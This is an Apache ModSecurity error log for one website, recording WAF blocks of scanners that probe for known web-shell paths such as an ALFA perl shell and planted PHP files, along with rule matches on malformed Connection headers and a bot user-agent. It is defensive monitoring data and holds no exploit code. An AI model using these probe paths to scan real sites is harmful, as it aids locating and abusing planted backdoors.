[Tue Mar 31 21:13:13.024088 2026] [:error] [pid 36982:tid 36985] [client 114.96.103.33:51447] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acvIaflMmeoQKN0r_GPCiQAAAMA"]
[Tue Mar 31 23:33:13.766544 2026] [:error] [pid 36890:tid 36904] [client 43.153.135.208:50566] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acvpOZ8FASPd_uH8z7dzowAAAAk"]
[Wed Apr 01 01:38:14.935108 2026] [:error] [pid 52836:tid 52913] [client 4.205.39.97:29540] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "acwGhpjk_YTY8bXnEz5AZwAAAFU"]
[Wed Apr 01 01:38:15.149135 2026] [:error] [pid 52836:tid 52916] [client 4.205.39.97:25897] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "acwGh5jk_YTY8bXnEz5AaQAAAFg"]
[Wed Apr 01 01:38:15.355446 2026] [:error] [pid 52592:tid 52648] [client 4.205.39.97:43688] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "acwGhz-61iqkPKUhqlbY_AAAAAE"]
[Wed Apr 01 01:38:15.766341 2026] [:error] [pid 52836:tid 52902] [client 4.205.39.97:29512] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "acwGh5jk_YTY8bXnEz5AagAAAEo"]
[Wed Apr 01 01:38:16.178451 2026] [:error] [pid 52593:tid 52683] [client 4.205.39.97:25858] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "acwGiOKOtxqtcDhRtD-LVwAAAIk"]
[Wed Apr 01 03:41:05.629653 2026] [:error] [pid 45613:tid 45704] [client 4.205.39.97:3191] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acwjUXVVWWw8hrj-8Eup0QAAAJA"], referer: www.google.com
[Wed Apr 01 03:41:05.630778 2026] [:error] [pid 45776:tid 45788] [client 4.205.39.97:61617] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acwjUW827UBx7K9U3bPN8gAAAMU"]
[Wed Apr 01 03:41:05.631502 2026] [:error] [pid 45776:tid 45803] [client 4.205.39.97:3154] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acwjUW827UBx7K9U3bPN9AAAANQ"], referer: www.google.com
[Wed Apr 01 03:41:06.041952 2026] [:error] [pid 45613:tid 45699] [client 4.205.39.97:3338] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acwjUnVVWWw8hrj-8Eup0gAAAIs"], referer: www.google.com
[Wed Apr 01 03:41:06.042732 2026] [:error] [pid 45612:tid 45674] [client 4.205.39.97:61574] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acwjUpHUY7GZN-DbctzRZwAAAE0"], referer: www.google.com
[Wed Apr 01 03:41:06.043188 2026] [:error] [pid 45612:tid 45683] [client 4.205.39.97:61573] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acwjUpHUY7GZN-DbctzRaAAAAFY"]
[Wed Apr 01 03:41:06.459209 2026] [:error] [pid 45776:tid 45786] [client 4.205.39.97:61631] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acwjUm827UBx7K9U3bPN-QAAAMM"], referer: www.google.com
[Wed Apr 01 03:41:06.459696 2026] [:error] [pid 45776:tid 45795] [client 4.205.39.97:3159] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acwjUm827UBx7K9U3bPN-gAAAMw"], referer: www.google.com
[Wed Apr 01 03:41:06.465511 2026] [:error] [pid 45776:tid 45799] [client 4.205.39.97:3224] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acwjUm827UBx7K9U3bPN_AAAANA"]
[Wed Apr 01 03:41:06.911821 2026] [:error] [pid 45613:tid 45706] [client 4.205.39.97:3175] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acwjUnVVWWw8hrj-8Eup0wAAAJI"], referer: www.google.com
[Wed Apr 01 03:41:06.912499 2026] [:error] [pid 45776:tid 45791] [client 4.205.39.97:3332] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acwjUm827UBx7K9U3bPN_gAAAMg"]
[Wed Apr 01 03:41:06.912738 2026] [:error] [pid 45611:tid 45641] [client 4.205.39.97:3351] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acwjUtKIjAB_8bBReJOz8AAAABQ"], referer: www.google.com
[Wed Apr 01 03:41:07.415197 2026] [:error] [pid 45776:tid 45787] [client 4.205.39.97:3174] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acwjU2827UBx7K9U3bPOAAAAAMQ"], referer: www.google.com
[Wed Apr 01 03:41:07.416010 2026] [:error] [pid 45776:tid 45801] [client 4.205.39.97:3374] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acwjU2827UBx7K9U3bPOAQAAANI"], referer: www.google.com
[Wed Apr 01 03:41:07.417302 2026] [:error] [pid 45776:tid 45792] [client 4.205.39.97:62366] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acwjU2827UBx7K9U3bPOAgAAAMk"]
[Wed Apr 01 03:41:08.242388 2026] [:error] [pid 45612:tid 45681] [client 4.205.39.97:3138] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acwjVJHUY7GZN-DbctzRbAAAAFQ"], referer: www.google.com
[Wed Apr 01 03:41:08.242388 2026] [:error] [pid 45611:tid 45644] [client 4.205.39.97:63059] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acwjVNKIjAB_8bBReJOz8gAAABc"], referer: www.google.com
[Wed Apr 01 03:41:09.017714 2026] [:error] [pid 45611:tid 45645] [client 4.205.39.97:63051] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acwjVdKIjAB_8bBReJOz9QAAABg"], referer: www.google.com
[Wed Apr 01 03:41:09.018047 2026] [:error] [pid 45611:tid 45637] [client 4.205.39.97:61604] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acwjVdKIjAB_8bBReJOz9gAAABA"], referer: www.google.com
[Wed Apr 01 03:41:09.727419 2026] [:error] [pid 45612:tid 45662] [client 4.205.39.97:3175] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acwjVZHUY7GZN-DbctzRbgAAAEE"], referer: www.google.com
[Wed Apr 01 03:41:09.755081 2026] [:error] [pid 45612:tid 45668] [client 4.205.39.97:3336] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acwjVZHUY7GZN-DbctzRbwAAAEc"], referer: www.google.com
[Wed Apr 01 03:41:10.390516 2026] [:error] [pid 45613:tid 45699] [client 4.205.39.97:3167] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acwjVnVVWWw8hrj-8Eup3gAAAIs"], referer: www.google.com
[Wed Apr 01 03:41:10.401610 2026] [:error] [pid 45611:tid 45623] [client 4.205.39.97:3177] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acwjVtKIjAB_8bBReJOz_AAAAAM"], referer: www.google.com
[Wed Apr 01 03:41:10.901185 2026] [:error] [pid 45613:tid 45703] [client 4.205.39.97:61573] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uovwqorm.php"] [unique_id "acwjVnVVWWw8hrj-8Eup4AAAAI8"], referer: www.google.com
[Wed Apr 01 03:41:11.087188 2026] [:error] [pid 45612:tid 45677] [client 4.205.39.97:61585] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acwjV5HUY7GZN-DbctzRcgAAAFA"], referer: www.google.com
[Wed Apr 01 03:41:11.087268 2026] [:error] [pid 45776:tid 45783] [client 4.205.39.97:3339] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acwjV2827UBx7K9U3bPOBgAAAMA"], referer: www.google.com
[Wed Apr 01 03:41:11.611367 2026] [:error] [pid 45776:tid 45793] [client 4.205.39.97:56772] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uovwqorm.php"] [unique_id "acwjV2827UBx7K9U3bPOCQAAAMo"], referer: www.google.com
[Wed Apr 01 03:41:12.227277 2026] [:error] [pid 45612:tid 45671] [client 4.205.39.97:3154] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uovwqorm.php"] [unique_id "acwjWJHUY7GZN-DbctzRdgAAAEo"], referer: www.google.com
[Wed Apr 01 03:41:12.844096 2026] [:error] [pid 45612:tid 45670] [client 4.205.39.97:62382] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uovwqorm.php"] [unique_id "acwjWJHUY7GZN-DbctzReAAAAEk"], referer: www.google.com
[Wed Apr 01 03:41:13.480515 2026] [:error] [pid 45776:tid 45792] [client 4.205.39.97:61589] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uovwqorm.php"] [unique_id "acwjWW827UBx7K9U3bPOCgAAAMk"], referer: www.google.com
[Wed Apr 01 03:43:36.397379 2026] [:error] [pid 45613:tid 45710] [client 175.6.217.4:57328] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acwj6HVVWWw8hrj-8EurkgAAAJY"]
[Wed Apr 01 04:36:05.867769 2026] [:error] [pid 23715:tid 23773] [client 129.226.93.214:40418] [client 129.226.93.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acwwNa-REzOruNbiT9wMkgAAAEw"]
[Wed Apr 01 05:00:38.760322 2026] [:error] [pid 23716:tid 23797] [client 4.205.39.97:25058] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "acw19nVtFUg_mx-RYb5VMQAAAIk"]
[Wed Apr 01 05:00:40.340126 2026] [:error] [pid 23716:tid 23802] [client 4.205.39.97:22392] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "acw1-HVtFUg_mx-RYb5VMgAAAI4"]
[Wed Apr 01 05:00:44.199687 2026] [:error] [pid 23715:tid 23784] [client 4.205.39.97:35631] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "acw1_K-REzOruNbiT9wXDgAAAFc"]
[Wed Apr 01 05:00:47.002972 2026] [:error] [pid 24314:tid 24325] [client 4.205.39.97:35625] [client 4.205.39.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "acw1_5RF3FCzjmMUX5bMXAAAAQc"]
[Wed Apr 01 05:08:25.730870 2026] [:error] [pid 23714:tid 23747] [client 43.153.123.3:54334] [client 43.153.123.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acw3yUHxDDU2ETcG9DSPyQAAAA0"]
[Wed Apr 01 07:32:46.496273 2026] [:error] [pid 24346:tid 24364] [client 177.94.194.237:51331] [client 177.94.194.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.94.194.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acxZnrc1l8kg9MhGHIKWXQAAAUw"]
[Wed Apr 01 09:48:39.982461 2026] [:error] [pid 23714:tid 23739] [client 43.159.145.153:41972] [client 43.159.145.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acx5d0HxDDU2ETcG9DRXmgAAAAU"]
[Wed Apr 01 10:21:51.394061 2026] [:error] [pid 23714:tid 23758] [client 43.157.52.37:56918] [client 43.157.52.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acyBP0HxDDU2ETcG9DRzWQAAABg"]
[Wed Apr 01 13:35:46.044164 2026] [:error] [pid 24348:tid 24381] [client 173.239.218.58:30225] [client 173.239.218.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "acyusm0Vs69Y5nF1HA-ALgAAAYI"]
[Wed Apr 01 19:25:31.475759 2026] [:error] [pid 62559:tid 62576] [client 52.156.211.140:37193] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-true.php"] [unique_id "ac0Aqy7NKI8IaNKZFId5ewAAAU8"]
[Wed Apr 01 19:25:32.460841 2026] [:error] [pid 8909:tid 8950] [client 52.156.211.140:37223] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-true.php"] [unique_id "ac0ArDvP_a0662gDl6BvCAAAAMk"]
[Wed Apr 01 19:25:32.972436 2026] [:error] [pid 8910:tid 8969] [client 52.156.211.140:37244] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-true.php"] [unique_id "ac0ArKJZINUcF3tYgExGwQAAAQE"]
